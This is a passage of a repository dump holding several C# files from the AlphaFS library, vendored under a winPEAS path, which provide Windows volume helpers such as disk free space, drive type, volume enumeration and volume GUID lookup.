OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] \n      ///   Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total\n      ///   amount of free space, and the total amount of free space available to the user that is associated with the calling thread.\n      /// </summary>\n      /// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>\n      /// <param name=\"drivePath\">\n      ///   A path to a drive. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <returns>A <see ref=\"Alphaleonis.Win32.Filesystem.DiskSpaceInfo\"/> class instance.</returns>\n      [SecurityCritical]\n      public static DiskSpaceInfo GetDiskFreeSpace(string drivePath)\n      {\n         return new DiskSpaceInfo(drivePath, null, true, true);\n      }\n\n\n      /// <summary>[AlphaFS] \n      ///   Retrieves information about the amount of space that is available on a disk volume, which is the total amount of space, the total\n      ///   amount of free space, and the total amount of free space available to the user that is associated with the calling thread.\n      /// </summary>\n      /// <remarks>The calling application must have FILE_LIST_DIRECTORY access rights for this directory.</remarks>\n      /// <param name=\"drivePath\">\n      ///   A path to a drive. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <param name=\"spaceInfoType\">\n      ///   <c>null</c> gets both size- and disk cluster information. <c>true</c> Get only disk cluster information,\n      ///   <c>false</c> Get only size information.\n      /// </param>\n      /// <returns>A <see ref=\"Alphaleonis.Win32.Filesystem.DiskSpaceInfo\"/> class instance.</returns>\n      [SecurityCritical]\n      public static DiskSpaceInfo GetDiskFreeSpace(string drivePath, bool? spaceInfoType)\n      {\n         return new DiskSpaceInfo(drivePath, spaceInfoType, true, true);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.DriveType.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Determines the disk <see cref=\"DriveType\"/>, based on the root of the current directory.</summary>\n      /// <returns>A <see cref=\"DriveType\"/> enum value.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public static DriveType GetCurrentDriveType()\n      {\n         return GetDriveType(null);\n      }\n\n\n      /// <summary>[AlphaFS] Determines the disk <see cref=\"DriveType\"/>.</summary>\n      /// <param name=\"drivePath\">A path to a drive. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\"</param>\n      /// <returns>A <see cref=\"DriveType\"/> enum value.</returns>\n      [SecurityCritical]\n      public static DriveType GetDriveType(string drivePath)\n      {\n         // drivePath is allowed to be == null.\n\n         drivePath = Path.AddTrailingDirectorySeparator(drivePath, false);\n\n\n         // ChangeErrorMode is for the Win32 SetThreadErrorMode() method, used to suppress possible pop-ups. \n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n\n            return NativeMethods.GetDriveType(drivePath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumeMountPoints.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of <see cref=\"String\"/> of all mounted folders (volume mount points) on the specified volume. </summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"volumeGuid\">A <see cref=\"string\"/> containing the volume <see cref=\"Guid\"/>.</param>\n      /// <returns>An enumerable collection of <see cref=\"String\"/> of all volume mount points on the specified volume.</returns>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateVolumeMountPoints(string volumeGuid)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeGuid))\n            throw new ArgumentNullException(\"volumeGuid\");\n\n         if (!volumeGuid.StartsWith(Path.VolumePrefix + \"{\", StringComparison.OrdinalIgnoreCase))\n            throw new ArgumentException(Resources.Not_A_Valid_Guid, \"volumeGuid\");\n\n\n         // A trailing backslash is required.\n         volumeGuid = Path.AddTrailingDirectorySeparator(volumeGuid, false);\n\n\n         var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         using (var handle = NativeMethods.FindFirstVolumeMountPoint(volumeGuid, buffer, (uint)buffer.Capacity))\n         {\n            var lastError = Marshal.GetLastWin32Error();\n\n            if (!NativeMethods.IsValidHandle(handle, false))\n            {\n               switch ((uint)lastError)\n               {\n                  case Win32Errors.ERROR_NO_MORE_FILES:\n                  case Win32Errors.ERROR_PATH_NOT_FOUND: // Observed with USB stick, FAT32 formatted.\n                     yield break;\n\n                  default:\n                     NativeError.ThrowException(lastError, volumeGuid);\n                     break;\n               }\n            }\n\n            yield return buffer.ToString();\n\n\n            while (NativeMethods.FindNextVolumeMountPoint(handle, buffer, (uint)buffer.Capacity))\n            {\n               lastError = Marshal.GetLastWin32Error();\n\n               var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;\n\n               if (!NativeMethods.IsValidHandle(handle, lastError, volumeGuid, throwException))\n                  yield break;\n\n               yield return buffer.ToString();\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumePathNames.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\nusing winPEAS._3rdParty.AlphaFS;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of <see cref=\"string\"/> drive letters and mounted folder paths for the specified volume.</summary>\n      /// <returns>An enumerable collection of <see cref=\"string\"/> containing the path names for the specified volume.</returns>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <param name=\"volumeGuid\">A volume <see cref=\"Guid\"/> path: \\\\?\\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\\.</param>\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateVolumePathNames(string volumeGuid)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeGuid))\n            throw new ArgumentNullException(\"volumeGuid\");\n\n         if (!volumeGuid.StartsWith(Path.VolumePrefix + \"{\", StringComparison.OrdinalIgnoreCase))\n            throw new ArgumentException(Resources.Not_A_Valid_Guid, \"volumeGuid\");\n\n\n         var volName = Path.AddTrailingDirectorySeparator(volumeGuid, false);\n\n\n         uint requiredLength = 10;\n         var cBuffer = new char[requiredLength];\n\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            while (!NativeMethods.GetVolumePathNamesForVolumeName(volName, cBuffer, (uint)cBuffer.Length, out requiredLength))\n            {\n               var lastError = Marshal.GetLastWin32Error();\n\n               switch ((uint)lastError)\n               {\n                  case Win32Errors.ERROR_MORE_DATA:\n                  case Win32Errors.ERROR_INSUFFICIENT_BUFFER:\n                     cBuffer = new char[requiredLength];\n                     break;\n\n                  default:\n                     NativeError.ThrowException(lastError, volumeGuid);\n                     break;\n               }\n            }\n\n\n         var buffer = new StringBuilder(cBuffer.Length);\n         foreach (var c in cBuffer)\n         {\n            if (c != Path.StringTerminatorChar)\n               buffer.Append(c);\n            else\n            {\n               if (buffer.Length > 0)\n               {\n                  yield return buffer.ToString();\n                  buffer.Length = 0;\n               }\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.EnumerateVolumes.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Collections.Generic;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Returns an enumerable collection of <see cref=\"String\"/> volumes on the computer.</summary>\n      /// <returns>An enumerable collection of <see cref=\"String\"/> volume names on the computer.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1024:UsePropertiesWhereAppropriate\")]\n      [SecurityCritical]\n      public static IEnumerable<string> EnumerateVolumes()\n      {\n         var buffer = new StringBuilder(NativeMethods.MaxPathUnicode);\n\n         using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n         using (var handle = NativeMethods.FindFirstVolume(buffer, (uint)buffer.Capacity))\n         {\n            var lastError = Marshal.GetLastWin32Error();\n\n            var throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND;\n\n            if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))\n               yield break;\n\n            yield return buffer.ToString();\n\n\n            while (NativeMethods.FindNextVolume(handle, buffer, (uint)buffer.Capacity))\n            {\n               lastError = Marshal.GetLastWin32Error();\n\n               throwException = lastError != Win32Errors.ERROR_NO_MORE_FILES && lastError != Win32Errors.ERROR_PATH_NOT_FOUND && lastError != Win32Errors.ERROR_MORE_DATA;\n\n               if (!NativeMethods.IsValidHandle(handle, lastError, String.Empty, throwException))\n                  yield break;\n\n               yield return buffer.ToString();\n            }\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveFormat.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Gets the name of the file system, such as NTFS or FAT32.</summary>\n      /// <remarks>Use DriveFormat to determine what formatting a drive uses.</remarks>\n      /// <param name=\"drivePath\">\n      ///   A path to a drive. For example: \"C:\\\", \"\\\\server\\share\", or \"\\\\?\\Volume{c0580d5e-2ad6-11dc-9924-806e6f6e6963}\\\".\n      /// </param>\n      /// <returns>The name of the file system on the specified drive or <c>null</c>  on failure or if not available.</returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      public static string GetDriveFormat(string drivePath)\n      {\n         var fsName = new VolumeInfo(drivePath, true, true).FileSystemName;\n\n         return Utils.IsNullOrWhiteSpace(fsName) ? null : fsName;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetDriveNameForNtDeviceName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Gets the drive letter from an MS-DOS device name. For example: \"\\Device\\HarddiskVolume2\" returns \"C:\\\".</summary>\n      /// <param name=\"deviceName\">An MS-DOS device name.</param>\n      /// <returns>The drive letter from an MS-DOS device name.</returns>\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1709:IdentifiersShouldBeCasedCorrectly\", MessageId = \"Nt\")]\n      [SuppressMessage(\"Microsoft.Naming\", \"CA1704:IdentifiersShouldBeSpelledCorrectly\", MessageId = \"Nt\")]\n      public static string GetDriveNameForNtDeviceName(string deviceName)\n      {\n         return (from drive in Directory.EnumerateLogicalDrivesCore(false, false)\n\n            where drive.DosDeviceName.Equals(deviceName, StringComparison.OrdinalIgnoreCase)\n\n            select drive.Name).FirstOrDefault();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetUniqueVolumeNameForPath.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Get the unique volume name for the given path.</summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"volumePathName\">\n      ///   A path string. Both absolute and relative file and directory names, for example \"..\", is acceptable in this path. If you specify a\n      ///   relative file or directory name without a volume qualifier, GetUniqueVolumeNameForPath returns the Drive letter of the current\n      ///   volume.\n      /// </param>\n      /// <returns>\n      ///   <para>Returns the unique volume name in the form: \"\\\\?\\Volume{GUID}\\\",</para>\n      ///   <para>or <c>null</c> on error or if unavailable.</para>\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      public static string GetUniqueVolumeNameForPath(string volumePathName)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumePathName))\n            throw new ArgumentNullException(\"volumePathName\");\n\n         try\n         {\n            return GetVolumeGuid(GetVolumePathName(volumePathName));\n         }\n         catch\n         {\n            return null;\n         }\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDeviceName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Retrieves the Win32 Device name from the Volume name.</summary>\n      /// <returns>The Win32 Device name from the Volume name, for example: \"\\Device\\HarddiskVolume2\",  or <c>null</c> on error or if unavailable.</returns>\n      /// <remarks>This is the same method as <see cref=\"Volume.QueryDosDevice\"/>.</remarks>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"FileNotFoundException\"/>\n      /// <param name=\"volumeName\">Name of the Volume.</param>\n      [SecurityCritical]\n      public static string GetVolumeDeviceName(string volumeName)\n      {\n         return QueryDosDevice(volumeName);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeDisplayName.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Linq;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] Gets the shortest display name for the specified <paramref name=\"volumeName\"/>.</summary>\n      /// <remarks>This method basically returns the shortest string returned by <see cref=\"EnumerateVolumePathNames\"/></remarks>\n      /// <param name=\"volumeName\">A volume <see cref=\"Guid\"/> path: \\\\?\\Volume{xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx}\\.</param>\n      /// <returns>\n      ///   The shortest display name for the specified volume found, or <c>null</c> if no display names were found.\n      /// </returns>\n      [SuppressMessage(\"Microsoft.Design\", \"CA1031:DoNotCatchGeneralExceptionTypes\")]\n      [SecurityCritical]\n      public static string GetVolumeDisplayName(string volumeName)\n      {\n         string[] smallestMountPoint = { new string(Path.WildcardStarMatchAllChar, NativeMethods.MaxPathUnicode) };\n\n         try\n         {\n            foreach (var m in EnumerateVolumePathNames(volumeName).Where(m => !Utils.IsNullOrWhiteSpace(m) && m.Length < smallestMountPoint[0].Length))\n               smallestMountPoint[0] = m;\n         }\n         catch\n         {\n         }\n\n         var result = smallestMountPoint[0][0] == Path.WildcardStarMatchAllChar ? null : smallestMountPoint[0];\n         return Utils.IsNullOrWhiteSpace(result) ? null : result;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Device/Volume/Volume.GetVolumeGuid.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.Diagnostics.CodeAnalysis;\nusing System.Runtime.InteropServices;\nusing System.Security;\nusing System.Text;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public static partial class Volume\n   {\n      /// <summary>[AlphaFS] \n      ///   Retrieves a volume <see cref=\"Guid\"/> path for the volume that is associated with the specified volume mount point (drive letter,\n      ///   volume GUID path, or mounted folder).\n      /// </summary>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <param name=\"volumeMountPoint\">\n      ///   The path of a mounted folder (for example, \"Y:\\MountX\\\") or a drive letter (for example, \"X:\\\").\n      /// </param>\n      /// <returns>The unique volume name of the form: \"\\\\?\\Volume{GUID}\\\".</returns>\n      [SuppressMessage(\"Microsoft.Interoperability\", \"CA1404:CallGetLastErrorImmediatelyAfterPInvoke\", Justification = \"Marshal.GetLastWin32Error() is manipulated.\")]\n      [SecurityCritical]\n      public static string GetVolumeGuid(string volumeMountPoint)\n      {\n         if (Utils.IsNullOrWhiteSpace(volumeMountPoint))\n            throw new ArgumentNullException(\"volumeMountPoint\");\n\n         // The string must end with a trailing backslash ('\\').\n         volumeMountPoint = Path.GetFullPathCore(null, false, volumeMountPoint, GetFullPathOptions.AsLongPath | GetFullPathOptions.AddTrailingDirectorySeparator | GetFullPathOptions.FullCheck);\n\n         var volumeGuid = new StringBuilder(100);\n         var uniqueName = new StringBuilder(100);\n\n         try\n         {\n            using (new NativeMethods.ChangeErrorMode(NativeMethods.ErrorMode.FailCriticalErrors))\n            {\n               // GetVolumeNameForVolumeMountPoint()\n               // 2013-07-18: MSDN does not confirm LongPath usage but a Unicode version of this function exists.\n\n               return 